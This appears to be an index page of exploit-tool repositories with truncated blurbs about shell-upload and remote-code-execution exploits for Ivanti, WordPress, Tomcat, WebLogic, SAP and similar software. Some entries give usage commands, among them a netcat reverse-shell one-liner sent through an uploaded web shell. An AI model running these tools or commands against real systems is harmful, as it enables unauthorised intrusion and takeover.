CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 is a critical vulnerability found in Ivanti Connect Secure, allowing Remote Command Execution RCE through a buffer overflow exploit. This vulnerability enables attackers to upload malicious files e.g., web shells and execute commands on the target system...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 reverse shell upload Exploit for WpDiscuz 7.0.4 based on the the exploit written by h3v0x. Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

WPForce

WPForce - Wordpress Attack Suite ABOUT: WPForce is a suite of Wordpress Attack tools. Currently this contains 2 scripts - WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Yertle also contains a number of post exploitation...

CVE-2023-34960

CVE-2023-34960 Chamilo Command Injection with auto upload shell. use ur logic check path directory at your result vuln, then you can find your access shells wso.php To Install & Execute root@kitploit: $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd CVE-2023-34960 $ pip install -r...

RCE

CVE-2022-31814 WebApp bug root@kitploit: import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser =...

CVE-2024-10793

CVE-2024-10793 PoC Set this lines to your hosts file: root@kitploit: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com Launch Wordpress using docker: root@kitploit: $ sudo systemctl start docker $ sudo docker-compose up -d Open http://goodcms.lab:2121 and do installation wordpress steps. Install...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - Image Remote Code Execution Exploit of CVE-2019-8942 and CVE-2019-8943 using python : ExploitDB : https://www.exploit-db.com/exploits/49512 The original exploit for metasploit : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit :...

WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload

WordPress SP Project & Document Manager plugin before 4.22 is susceptible to authenticated shell upload. The plugin allows users to upload files; however, the plugin attempts to prevent PHP and other similar executable files from being uploaded via checking the file extension. PHP files can still...

CVE-2025-53770-Scanner

CVE-2025-53770 Scanner by DanSec A simple, effective reconnaissance tool to identify potential exposure to the critical SharePoint vulnerability CVE-2025-53770. !Warning This tool is intended for authorised testing purposes only. The author DanSec takes no responsibility for misuse or damage caus...

CVE-2018-2380

CVE-2018-2380 CVSS v3 基础评分：6.6/10 通过 SAP NetWeaver AS JAVA CRM 的日志注入实现远程命令执行的 PoC 脚本使用示例 root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true 其中 --host 是 SAP 服务器 IP --port SAP NetWeaver AS Java 端口 可通过 SAP...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // /...

Worpress-CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 Auto Shell Upload WordPress Royal Elementor 1.3.78 Shell Upload Visit https://phankz.com...

CVE-2024-50379-POC

CVE-2024-50379-POC 此仓库包含一个Python脚本，用于利用CVE-2024-50379 漏洞，该漏洞允许攻击者向易受攻击的服务器上传JSP shell并远程执行任意命令。当目标服务器上的/uploads目录未受保护或缺失时，此利用工具尤为有用。 概述 CVE-2024-50379 是一个影响服务器文件上传处理不当的漏洞，使攻击者能够上传JSP shell。该shell随后可用于远程执行任意命令。提供的Python脚本通过将shell上传到易受攻击的服务器并允许通过命令行界面与服务器交互，自动化了这一过程。 前提条件 在运行脚本之前，请确保已安装以下内容： Python...

CVE-2022-31814

pfBlockerNG = 2.1.426 Unauth RCE This script is a proof-of-concept exploit for pfBlockerNG = 2.1.426 that allows for remote code execution. It takes a single target URL or a list of URLs, uploads a shell, executes a command, and then deletes the shell. Requirements This script requires Python 3.x...

CVE-2023-26469

CVE-2023-26469 远程代码执行概念验证 此仓库包含针对 CVE-2023-26469 的利用脚本，攻击者可利用路径遍历漏洞访问运行 Jorani 1.0.0 服务器上的文件并执行代码。此外，该脚本还包含 shell 上传功能，以便进一步利用。 漏洞利用概述 CVE-2023-26469 ：一个影响 Jorani 1.0.0 的关键漏洞，可导致远程代码执行。更多详情请参阅 NVD 报告。 免责声明 此代码仅供教育用途。其目的在于演示漏洞如何被利用，以用于教育和安全意识提升。请勿将这些漏洞用于任何恶意活动。...

Cgi-Exploit-Jp-Shell-Upload

Cgi-Exploit-Jp-Shell-Upload Python 2.7 Lea esto, amigo: Nunca abra esta herramienta Python en el editor / borre parte del código porque causará un error. Si se produce un error, vuelva a instalarla desde este Github, gracias también use http:// delante del sitio de ejemplo http://site.com Donació...

ICG-AutoExploiterBoT

ICG-AutoExploiterBoT ❗ Edit Line 44 Add your Email Address for Add admin joomla Exploit Use outlook.com Mail! ✔️ :warning:Note! : We don't Accept any responsibility for any illegal usage. AutoExploiter Not working for now! please Wait for update This software! AutoExploiter Not working for now!...

CVE-2018-2628

CVE-2018-2628 WebLogic Deserialization Vulnerability Reproduction weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || ...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2021. Descripción del Exploit El exploit envía una solicitud POST que contiene un reverse shell JSP a /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

gitlist-RCE

gitlist-RCE CVE-2014-4511 example: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...